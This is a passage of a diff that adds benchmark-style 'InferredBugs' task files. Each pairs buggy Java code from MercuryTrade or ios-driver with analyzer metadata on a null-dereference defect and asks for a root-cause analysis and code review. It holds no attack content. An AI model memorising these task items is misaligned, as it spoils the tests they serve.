+                Point historyPoint = new Point(
+                        Integer.valueOf(String.valueOf(historyLocation.get("x"))),
+                        Integer.valueOf(String.valueOf(historyLocation.get("y"))));
+                JSONObject notificationLocation = (JSONObject) jsonObject.get("NotificationFrame");
+                Point notificationPoint = new Point(
+                        Integer.valueOf(String.valueOf(notificationLocation.get("x"))),
+                        Integer.valueOf(String.valueOf(notificationLocation.get("y"))));
+
+                //removing
+                JSONObject testLocation = (JSONObject) jsonObject.get("TestCasesFrame");
+                Point testPoint = new Point(
+                        Integer.valueOf(String.valueOf(testLocation.get("x"))),
+                        Integer.valueOf(String.valueOf(testLocation.get("y"))));
+
+                properties.put("gamePath", gamePath);
+                properties.put("buttons", buttonsConfig);
+                properties.put("TaskBarFrame", taskBarPoint);
+                properties.put("MessageFrame", messagePoint);
+                properties.put("GamePathChooser", gamePathPoint);
+                properties.put("SettingsFrame", settingsPoint);
+                properties.put("HistoryFrame", historyPoint);
+                properties.put("NotificationFrame", notificationPoint);
+                //removing
+                properties.put("TestCasesFrame", testPoint);
+            } catch (Exception e) {
+                logger.error("Error in ConfigManager.load", e);
+            }
+        }
+    }
+
+    /**
+     * Checking valida path of game.
+     *
+     * @param gamePath the path to check
+     * @return true if path is valid
+     */
+    public boolean isValidPath(String gamePath) {
+        File logsFile = new File(gamePath + File.separator + "logs" + File.separator + "Client.txt");
+        return logsFile.exists();
+    }
+
+    /**
+     * Get property from loaded data.
+     *
+     * @param token property name
+     * @return property value
+     */
+    public Object getProperty(String token) {
+        return properties.get(token);
+    }
+
+    /**
+     * Save frame location to app-config after 4 sec when frame was moved.
+     *
+     * @param componentName frame name, always insert frame.getClass().getSimpleName()
+     *                      and don't forget to add in load() method default value.
+     * @param point         frame.getLocation().
+     */
+    public void saveComponentLocation(String componentName, Point point) {
+        properties.put(componentName, point);
+        //each frame has its timer
+        Timer timer = componentsTimers.get(componentName);
+        if (timer == null) {
+            timer = new Timer(4000, null);
+            Timer finalTimer = timer;
+            PointListener pointListener = new PointListener() {
+                @Override
+                public void actionPerformed(ActionEvent e) {
+                    JSONObject object = new JSONObject();
+                    //x and y from PointListener
+                    object.put("x", x);
+                    object.put("y", y);
+                    saveProperty(componentName, object);
+                    finalTimer.stop();
+                }
+            };
+            componentsPointListeners.put(componentName, pointListener);
+            componentsTimers.put(componentName, timer);
+            timer.addActionListener(pointListener);
+        } else {
+            PointListener pointListener = componentsPointListeners.get(componentName);
+            pointListener.x = point.x;
+            pointListener.y = point.y;
+        }
+        timer.stop();
+        timer.start();
+    }
+
+    /**
+     * Save game path with checking validity.
+     * @param gamePath the path to save
+     */
+    public void saveGamePath(String gamePath){
+        if(isValidPath(gamePath)) {
+            properties.put("gamePath", gamePath);
+            saveProperty("gamePath", gamePath);
+        }
+    }
+
+    /**
+     * Save custom buttons config.
+     * @param buttons map of buttons data.(title,text to send)
+     */
+    public void saveButtonsConfig(Map<String, String> buttons){
+        properties.put("buttons",buttons);
+        JSONArray list = new JSONArray();
+        buttons.forEach((k,v)->{
+            JSONObject buttonsConfig = new JSONObject();
+            buttonsConfig.put("title",k);
+            buttonsConfig.put("value",v);
+            list.add(buttonsConfig);
+        });
+        saveProperty("buttons", list);
+    }
+    private void saveProperty(String token, Object jsonObject){
+        JSONParser parser = new JSONParser();
+        try {
+            JSONObject root = (JSONObject) parser.parse(new FileReader(CONFIG_FILE));
+            Object obj = root.get(token);
+            if(obj != null){
+                root.replace(token,jsonObject);
+            }else {
+                root.put(token,jsonObject);
+            }
+            FileWriter fileWriter = new FileWriter(CONFIG_FILE);
+            fileWriter.write(root.toJSONString());
+            fileWriter.flush();
+            fileWriter.close();
+        } catch (Exception e) {
+            logger.error("Error in ConfigManager.saveProperty",e);
+        }
+
+    }
+    private Map<String, String > getDefaultButtons(){
+        Map<String,String> defaultButtons = new HashMap<>();
+        defaultButtons.put("1m","one minute");
+        defaultButtons.put("thx","thanks");
+        defaultButtons.put("no thx", "no thanks");
+        defaultButtons.put("sold", "sold");
+        return defaultButtons;
+    }
+
+
+    private abstract class PointListener implements ActionListener{
+        public int x;
+        public int y;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `taskBarLocation` last assigned on line 81 could be null and is dereferenced at line 83.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ConfigManager.load()
+
+### Procedure Id:
+com.mercury.platform.shared.ConfigManager.load():void.1a38b611c448fd684b0adbf845c33a96
+
+### File:
+app-core/src/main/java/com/mercury/platform/shared/ConfigManager.java
+
+### Key:
+ConfigManager.java|load|NULL_DEREFERENCE
+
+### Node Key:
+88a9d456c6c70359cc9430e108e79cdb
+
+### Hash:
+cb62ad9120ad3742d1e650b238e3bc85
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10218/instruction.md b/inferredbugs-10218/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b69dc703791177fc43cf9b61b96a19e188e03a76
--- /dev/null
+++ b/inferredbugs-10218/instruction.md
@@ -0,0 +1,352 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MercuryTrade
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.mercury.platform.shared;
+
+import com.mercury.platform.core.misc.WhisperNotifierStatus;
+import com.mercury.platform.shared.pojo.FrameSettings;
+import org.apache.commons.io.FileUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.json.simple.JSONArray;
+import org.json.simple.JSONObject;
+import org.json.simple.parser.JSONParser;
+
+import java.awt.*;
+import java.io.*;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Application config manager, loads config files from %userprofile%/AppData/Local/MercuryTrader.
+ */
+public class ConfigManager {
+    private Logger logger = LogManager.getLogger(ConfigManager.class);
+
+    private static class ConfigManagerHolder {
+        static final ConfigManager HOLDER_INSTANCE = new ConfigManager();
+    }
+
+    public static ConfigManager INSTANCE = ConfigManagerHolder.HOLDER_INSTANCE;
+
+    private final String CONFIG_FILE_PATH = System.getenv("USERPROFILE") + "\\AppData\\Local\\MercuryTrade";
+    private final String CONFIG_FILE = System.getenv("USERPROFILE") + "\\AppData\\Local\\MercuryTrade\\app-config.json";
+
+    private Map<String, String> cachedButtonsConfig;
+    private Map<String, FrameSettings> cachedFramesSettings;
+    private Map<String,Dimension> minimumFrameSize;
+
+    private WhisperNotifierStatus whisperNotifier;
+    private int decayTime;
+    private int minOpacity;
+    private int maxOpacity;
+
+    private boolean showPatchNotes;
+    private boolean showOnStartUp;
+
+    public ConfigManager() {
+        minimumFrameSize = new HashMap<>();
+        minimumFrameSize.put("TaskBarFrame",new Dimension(109,20));
+        minimumFrameSize.put("IncMessageFrame",new Dimension(280,10));
+        minimumFrameSize.put("OutMessageFrame",new Dimension(280,115));
+        minimumFrameSize.put("TestCasesFrame",new Dimension(400,100));
+        minimumFrameSize.put("SettingsFrame",new Dimension(540,100));
+        minimumFrameSize.put("HistoryFrame",new Dimension(280,400));
+        minimumFrameSize.put("TimerFrame",new Dimension(240,102));
+        minimumFrameSize.put("ChatFilterFrame",new Dimension(200,100));
+        minimumFrameSize.put("ItemsGridFrame",new Dimension(400,400));
+        minimumFrameSize.put("NotesFrame",new Dimension(540,100));
+        minimumFrameSize.put("SetUpLocationFrame",new Dimension(240,30));
+        minimumFrameSize.put("ChunkMessagesPicker",new Dimension(240,30));
+        minimumFrameSize.put("GamePathChooser",new Dimension(150,30));
+    }
+
+    /**
+     * Loading application data from app-config.json file. If file does not exist, created and filled by default.
+     */
+    public void load() {
+        File configFile = new File(CONFIG_FILE);
+        if (!configFile.exists()) {
+            try {
+                new File(CONFIG_FILE_PATH).mkdir();
+                new File(CONFIG_FILE_PATH + "\\temp").mkdir();
+
+                ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+                InputStream resourceAsStream = classLoader.getResourceAsStream("app/local-updater.jar");
+                File dest = new File(CONFIG_FILE_PATH + File.separator + "local-updater.jar");
+                FileUtils.copyInputStreamToFile(resourceAsStream,dest);
+
+                FileWriter fileWriter = new FileWriter(CONFIG_FILE);
+                fileWriter.write(new JSONObject().toJSONString());
+                fileWriter.flush();
+                fileWriter.close();
+
+                saveButtonsConfig(getDefaultButtons());
+                cachedFramesSettings = getDefaultFramesSettings();
+                saveFrameSettings();
+                setWhisperNotifier(WhisperNotifierStatus.ALWAYS);
+                decayTime = 0;
+                minOpacity = 100;
+                maxOpacity = 100;
+                showOnStartUp = true;
+                showPatchNotes = false;
+                saveProperty("decayTime",decayTime);
+                saveProperty("minOpacity",minOpacity);
+                saveProperty("maxOpacity",maxOpacity);
+                saveProperty("showOnStartUp",showOnStartUp);
+                saveProperty("showPatchNotes",showPatchNotes);
+
+            } catch (Exception e) {
+                logger.error(e);
+            }
+        } else {
+            loadConfigFile();
+        }
+    }
+    private void loadConfigFile(){
+        JSONParser parser = new JSONParser();
+        try {
+            JSONObject root = (JSONObject) parser.parse(new FileReader(CONFIG_FILE));
+
+            JSONArray buttons = (JSONArray) root.get("buttons");
+            cachedButtonsConfig = new HashMap<>();
+            for (JSONObject next : (Iterable<JSONObject>) buttons) {
+                cachedButtonsConfig.put((String) next.get("title"), (String) next.get("value"));
+            }
+
+            JSONArray framesSetting = (JSONArray) root.get("framesSettings");
+            cachedFramesSettings = new HashMap<>();
+            for (JSONObject next : (Iterable<JSONObject>) framesSetting) {
+                JSONObject location = (JSONObject) next.get("location");
+                JSONObject size = (JSONObject) next.get("size");
+                FrameSettings settings = new FrameSettings(
+                        new Point(((Long)location.get("frameX")).intValue(), ((Long)location.get("frameY")).intValue()),
+                        new Dimension(((Long)size.get("width")).intValue(),((Long)size.get("height")).intValue())
+                );
+                cachedFramesSettings.put((String) next.get("frameClassName"), settings);
+            }
+            whisperNotifier = WhisperNotifierStatus.valueOf((String)root.get("whisperNotifier"));
+            decayTime = ((Long)root.get("decayTime")).intValue();
+            minOpacity = ((Long)root.get("minOpacity")).intValue();
+            maxOpacity = ((Long)root.get("maxOpacity")).intValue();
+            showOnStartUp = (boolean) root.get("showOnStartUp");
+            showPatchNotes = (boolean) root.get("showPatchNotes");
+        } catch (Exception e) {
+            logger.error("Error in loadConfigFile: ",e);
+        }
+    }
+
+    public Map<String, String> getButtonsConfig(){
+        return cachedButtonsConfig;
+    }
+
+    public FrameSettings getFrameSettings(String frameClass){
+        FrameSettings settings = cachedFramesSettings.get(frameClass);
+        if(settings == null) {
+            FrameSettings defaultSettings = getDefaultFramesSettings().get(frameClass);
+            cachedFramesSettings.put(frameClass,defaultSettings);
+            saveFrameSettings();
+        }
+        return cachedFramesSettings.get(frameClass);
+    }
+    public void saveFrameLocation(String frameClassName, Point point) {
+        FrameSettings settings = cachedFramesSettings.get(frameClassName);
+        settings.setFrameLocation(point);
+        saveFrameSettings();
+    }
+
+    public void saveFrameSize(String frameClassName, Dimension size){
+        try {
+            FrameSettings settings = cachedFramesSettings.get(frameClassName);
+            settings.setFrameSize(size);
+        }catch (NullPointerException e){
+            cachedFramesSettings.put(frameClassName,getDefaultFramesSettings().get(frameClassName));
+        }
+        saveFrameSettings();
+    }
+
+    /**
+     * Save custom buttons config.
+     * @param buttons map of buttons data.(title,text to send)
+     */
+    public void saveButtonsConfig(Map<String, String> buttons){
+        cachedButtonsConfig = buttons;
+        JSONArray list = new JSONArray();
+        buttons.forEach((k,v)->{
+            JSONObject buttonsConfig = new JSONObject();
+            buttonsConfig.put("title",k);
+            buttonsConfig.put("value",v);
+            list.add(buttonsConfig);
+        });
+        saveProperty("buttons", list);
+    }
+
+    private void saveFrameSettings(){
+        JSONArray frames = new JSONArray();
+        cachedFramesSettings.forEach((frameName,frameSettings)->{
+            JSONObject object = new JSONObject();
+            JSONObject location = new JSONObject();
+            location.put("frameX",frameSettings.getFrameLocation().x);
+            location.put("frameY",frameSettings.getFrameLocation().y);
+
+            JSONObject size = new JSONObject();
+            size.put("width",frameSettings.getFrameSize().width);
+            size.put("height",frameSettings.getFrameSize().height);
+
+            object.put("location",location);
+            object.put("size",size);
+            object.put("frameClassName", frameName);
+
+            frames.add(object);
+        });
+
+        saveProperty("framesSettings",frames);
+    }
+    public <T> void saveProperty(String token, T object){
+        JSONParser parser = new JSONParser();
+        try {
+            JSONObject root = (JSONObject) parser.parse(new FileReader(CONFIG_FILE));
+            Object obj = root.get(token);
+            if(obj != null){
+                root.replace(token,object);
+            }else {
+                root.put(token,object);
+            }
+            FileWriter fileWriter = new FileWriter(CONFIG_FILE);
+            fileWriter.write(root.toJSONString());
+            fileWriter.flush();
+            fileWriter.close();
+        } catch (Exception e) {
+            logger.error("Error in ConfigManager.saveProperty",e);
+        }
+
+    }
+
+    public WhisperNotifierStatus getWhisperNotifier() {
+        return whisperNotifier;
+    }
+
+    public void setWhisperNotifier(WhisperNotifierStatus whisperNotifier) {
+        this.whisperNotifier = whisperNotifier;
+        saveProperty("whisperNotifier", whisperNotifier.toString());
+    }
+
+    public int getDecayTime() {
+        return decayTime;
+    }
+
+    public int getMinOpacity() {
+        return minOpacity;
+    }
+
+    public int getMaxOpacity() {
+        return maxOpacity;
+    }
+
+    public boolean isShowOnStartUp() {
+        return showOnStartUp;
+    }
+    public boolean isShowPatchNotes() {
+        return showPatchNotes;
+    }
+
+    private Map<String, String > getDefaultButtons(){
+        Map<String,String> defaultButtons = new HashMap<>();
+        defaultButtons.put("1m","one minute");
+        defaultButtons.put("thx","thanks");
+        defaultButtons.put("no thx", "no thanks");
+        defaultButtons.put("sold", "sold");
+        return defaultButtons;
+    }
+    public Map<String,FrameSettings> getDefaultFramesSettings(){
+        Map<String,FrameSettings> dFramesSettings = new HashMap<>();
+        dFramesSettings.put("TaskBarFrame",new FrameSettings(new Point(400, 500),new Dimension(109,20)));
+        dFramesSettings.put("IncMessageFrame",new FrameSettings(new Point(700, 600),new Dimension(280,0)));
+        dFramesSettings.put("OutMessageFrame",new FrameSettings(new Point(200, 500),new Dimension(280,115)));
+        dFramesSettings.put("TestCasesFrame",new FrameSettings(new Point(1400, 500),new Dimension(400,100)));
+        dFramesSettings.put("SettingsFrame",new FrameSettings(new Point(600, 600),new Dimension(540,100)));
+        dFramesSettings.put("HistoryFrame",new FrameSettings(new Point(600, 500),new Dimension(280,400)));
+        dFramesSettings.put("TimerFrame",new FrameSettings(new Point(400, 600),new Dimension(240,102)));
+        dFramesSettings.put("ChatFilterFrame",new FrameSettings(new Point(400, 600),new Dimension(200,100)));
+        dFramesSettings.put("ItemsGridFrame",new FrameSettings(new Point(12, 79),new Dimension(641,718)));
+        dFramesSettings.put("NotesFrame",new FrameSettings(new Point(400, 600),new Dimension(540,100)));
+        dFramesSettings.put("SetUpLocationFrame",new FrameSettings(new Point(400, 600),new Dimension(240,30)));
+        dFramesSettings.put("ChunkMessagesPicker",new FrameSettings(new Point(400, 600),new Dimension(240,30)));
+        dFramesSettings.put("GamePathChooser",new FrameSettings(new Point(400, 600),new Dimension(150,30)));
+        return dFramesSettings;
+    }
+    public Dimension getMinimumFrameSize(String frameName){
+        return minimumFrameSize.get(frameName);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `root.get("minOpacity")` could be null and is dereferenced at line 127.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ConfigManager.loadConfigFile()
+
+### Procedure Id:
+com.mercury.platform.shared.ConfigManager.loadConfigFile():void.e86cf619e9997ebecb3a106cdb459e3a
+
+### File:
+app-core/src/main/java/com/mercury/platform/shared/ConfigManager.java
+
+### Key:
+ConfigManager.java|loadConfigFile|NULL_DEREFERENCE
+
+### Node Key:
+95d9debb0a0095ff5c87d58c53953dfe
+
+### Hash:
+a1fefed58bba69427df84445d4cbdb74
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10219/instruction.md b/inferredbugs-10219/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..94b6a4f9ca619c501137e21f4e8619d7738ed3d6
--- /dev/null
+++ b/inferredbugs-10219/instruction.md
@@ -0,0 +1,203 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ios-driver
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2012 ios-driver committers.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package org.uiautomation.ios.server.command.web;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.openqa.selenium.WebDriverException;
+import org.openqa.selenium.remote.Response;
+import org.uiautomation.ios.UIAModels.UIAElement;
+import org.uiautomation.ios.UIAModels.configuration.WorkingMode;
+import org.uiautomation.ios.UIAModels.predicate.AndCriteria;
+import org.uiautomation.ios.UIAModels.predicate.Criteria;
+import org.uiautomation.ios.UIAModels.predicate.NameCriteria;
+import org.uiautomation.ios.UIAModels.predicate.TypeCriteria;
+import org.uiautomation.ios.UIAModels.predicate.ValueCriteria;
+import org.uiautomation.ios.client.uiamodels.impl.RemoteUIAKeyboard;
+import org.uiautomation.ios.communication.WebDriverLikeRequest;
+import org.uiautomation.ios.server.IOSDriver;
+import org.uiautomation.ios.server.command.BaseWebCommandHandler;
+
+public class GetHandler extends BaseWebCommandHandler {
+
+  // TODO freynaud cached by session.
+  private static UIAElement addressBar;
+  private static final boolean nativeEvents = false;
+
+  public GetHandler(IOSDriver driver, WebDriverLikeRequest request) {
+    super(driver, request);
+  }
+
+  @Override
+  public JSONObject configurationDescription() throws JSONException {
+    JSONObject desc = new JSONObject();
+    desc.put(
+        "nativeEvents",
+        "{boolean}, default to "
+            + nativeEvents
+            + ".true = UIAutomation native events will be used to enter the URL (slow) , Web =  WebKit remote debugging will be used.Faster.");
+    return desc;
+  }
+
+  @Override
+  public Response handle() throws Exception {
+    long start = System.currentTimeMillis();
+    String url = getRequest().getPayload().getString("url");
+    boolean newPageWillBeLoaded = true;
+    if (url.contains("#")) {
+      try {
+        String currentURL = getSession().getWebInspector().getPageURL();
+        int index = url.indexOf(currentURL);
+
+        if (index == 0) {
+          String delta = url.replace(currentURL, "");
+          if (delta.startsWith("#")) {
+            newPageWillBeLoaded = false;
+          }
+        }
+      } catch (Exception e) {
+        // ignore.
+      }
+    }
+
+    if (newPageWillBeLoaded) {
+      getSession().getContext().getDOMContext().reset();
+    }
+
+    boolean useNativeEvents = getConfiguration("nativeEvents", nativeEvents);
+
+    if (useNativeEvents) {
+      typeURLNative(url);
+    } else {
+      fakeTypeURL(url);
+    }
+    if (newPageWillBeLoaded) {
+      getSession().getWebInspector().waitForPageToLoad();
+    }
+    Response res = new Response();
+    res.setSessionId(getSession().getSessionId());
+    res.setStatus(0);
+    res.setValue(new JSONObject());
+    return res;
+  }
+
+  private UIAElement getAddressBar() {
+    if (addressBar == null) {
+      Criteria urlAddressBar = new AndCriteria(new TypeCriteria(UIAElement.class), new ValueCriteria(
+          "Go to this address"));
+      addressBar = getSession().getNativeDriver().findElement(urlAddressBar);
+    }
+    return addressBar;
+  }
+
+  private void typeURLNative(String url) {
+
+    WorkingMode base = getSession().getMode();
+    try {
+
+      getSession().setMode(WorkingMode.Native);
+      getAddressBar().tap();
+      RemoteUIAKeyboard keyboard = (RemoteUIAKeyboard)getSession().getNativeDriver().getKeyboard();
+      keyboard.sendKeys(url);
+      keyboard.findElement(new NameCriteria("Go")).tap();
+
+    } finally {
+      getSession().setMode(base);
+    }
+  }
+
+  private void fakeTypeURL(String url) {
+    try {
+      getSession().getWebInspector().get(url);
+
+    } catch (Exception e) {
+      throw new WebDriverException("cannot navigate to URL " + url + ", error " + e.getMessage());
+    }
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `keyboard` last assigned on line 111 could be null and is dereferenced at line 112.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GetHandler.typeURLNative(String)
+
+### Procedure Id:
+org.uiautomation.ios.server.command.web.GetHandler.typeURLNative(java.lang.String):void.0a87c87a3f81705b103c80ded402af36
+
+### File:
+server/src/main/java/org/uiautomation/ios/server/command/web/GetHandler.java
+
+### Key:
+GetHandler.java|typeURLNative|NULL_DEREFERENCE
+
+### Node Key:
+24b323abf09399c888b6f1033b8f1206
+
+### Hash:
+209996fc840a6c8871074b38f6e33d87
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10220/instruction.md b/inferredbugs-10220/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e58bfcc1c9187ec5c92109bd7bd0a13a2ace56d4
--- /dev/null
+++ b/inferredbugs-10220/instruction.md
@@ -0,0 +1,155 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ios-driver
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2012 ios-driver committers.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package org.uiautomation.ios.server.command.web;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.openqa.selenium.remote.Response;
+import org.uiautomation.ios.communication.WebDriverLikeRequest;
+import org.uiautomation.ios.mobileSafari.NodeId;
+import org.uiautomation.ios.server.IOSDriver;
+import org.uiautomation.ios.server.command.BaseWebCommandHandler;
+import org.uiautomation.ios.webInspector.DOM.RemoteWebElement;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class FindElementsHandler extends BaseWebCommandHandler {
+
+  public FindElementsHandler(IOSDriver driver, WebDriverLikeRequest request) {
+    super(driver, request);
+  }
+
+  @Override
+  public Response handle() throws Exception {
+    JSONObject payload = getRequest().getPayload();
+    String type = payload.getString("using");
+    String value = payload.getString("value");
+
+    RemoteWebElement element = null;
+
+    if (getRequest().hasVariable(":reference")) {
+      int id = Integer.parseInt(getRequest().getVariableValue(":reference"));
+      element = new RemoteWebElement(new NodeId(id), getSession());
+    } else {
+      element = getSession().getWebInspector().getDocument();
+    }
+
+    List<RemoteWebElement> res;
+    if ("link text".equals(type)) {
+      res = element.findElementsByLinkText(value, false);
+    } else if ("partial link text".equals(type)) {
+      res = element.findElementsByLinkText(value, true);
+    } else if ("xpath".equals(type)) {
+      res = element.findElementsByXpath(value);
+    } else {
+      String cssSelector = ToCSSSelectorConvertor.convertToCSSSelector(type, value);
+      res = element.findElementsByCSSSelector(cssSelector);
+    }
+
+    JSONArray array = new JSONArray();
+
+    List<JSONObject> list = new ArrayList<JSONObject>();
+    for (RemoteWebElement el : res) {
+      list.add(new JSONObject().put("ELEMENT", "" + el.getNodeId().getId()));
+    }
+
+    Response resp = new Response();
+    resp.setSessionId(getSession().getSessionId());
+    resp.setStatus(0);
+    resp.setValue(list);
+    return resp;
+  }
+
+  @Override
+  public JSONObject configurationDescription() throws JSONException {
+    return noConfigDefined();
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getSession().getWebInspector()` could be null and is dereferenced at line 47.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Response FindElementsHandler.handle()
+
+### Procedure Id:
+org.uiautomation.ios.server.command.web.FindElementsHandler.handle():org.openqa.selenium.remote.Resp.0d43de168a89bc9140695c3d5403946b
+
+### File:
+server/src/main/java/org/uiautomation/ios/server/command/web/FindElementsHandler.java
+
+### Key:
+FindElementsHandler.java|handle|NULL_DEREFERENCE
+
+### Node Key:
+98e48d8af36063b905de6168fc1ae17c
+
+### Hash:
+2b331a1ec98bbfc329d2e32fbf34ab06
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10226/instruction.md b/inferredbugs-10226/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..18dd7a6dd81e6ae7da31f5f39475e02e94fc2728
--- /dev/null
+++ b/inferredbugs-10226/instruction.md
@@ -0,0 +1,152 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ios-driver
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2012 ios-driver committers.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package org.uiautomation.ios.server.command.web;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.openqa.selenium.NoSuchElementException;
+import org.openqa.selenium.remote.Response;
+import org.uiautomation.ios.communication.WebDriverLikeRequest;
+import org.uiautomation.ios.mobileSafari.NodeId;
+import org.uiautomation.ios.server.IOSDriver;
+import org.uiautomation.ios.server.command.BaseWebCommandHandler;
+import org.uiautomation.ios.webInspector.DOM.RemoteWebElement;
+
+public class FindElementHandler extends BaseWebCommandHandler {
+
+  public FindElementHandler(IOSDriver driver, WebDriverLikeRequest request) {
+    super(driver, request);
+  }
+
+  @Override
+  public Response handle() throws Exception {
+    JSONObject payload = getRequest().getPayload();
+    String type = payload.getString("using");
+    String value = payload.getString("value");
+
+    RemoteWebElement element = null;
+
+    if (getRequest().hasVariable(":reference")) {
+      int id = Integer.parseInt(getRequest().getVariableValue(":reference"));
+      element = new RemoteWebElement(new NodeId(id), getSession());
+    } else {
+      element = getSession().getWebInspector().getDocument();
+    }
+
+    RemoteWebElement rwe;
+
+    if ("link text".equals(type)) {
+      rwe = element.findElementByLinkText(value, false);
+    } else if ("partial link text".equals(type)) {
+      rwe = element.findElementByLinkText(value, true);
+    } else if ("xpath".equals(type)) {
+      rwe = element.findElementByXpath(value);
+    } else {
+      String cssSelector = ToCSSSelectorConvertor.convertToCSSSelector(type, value);
+      rwe = element.findElementByCSSSelector(cssSelector);
+    }
+
+    JSONObject res = new JSONObject();
+    if (rwe == null) {
+      throw new NoSuchElementException("No element found for " + type + "=" + value);
+    } else {
+      res.put("ELEMENT", "" + rwe.getNodeId().getId());
+      Response resp = new Response();
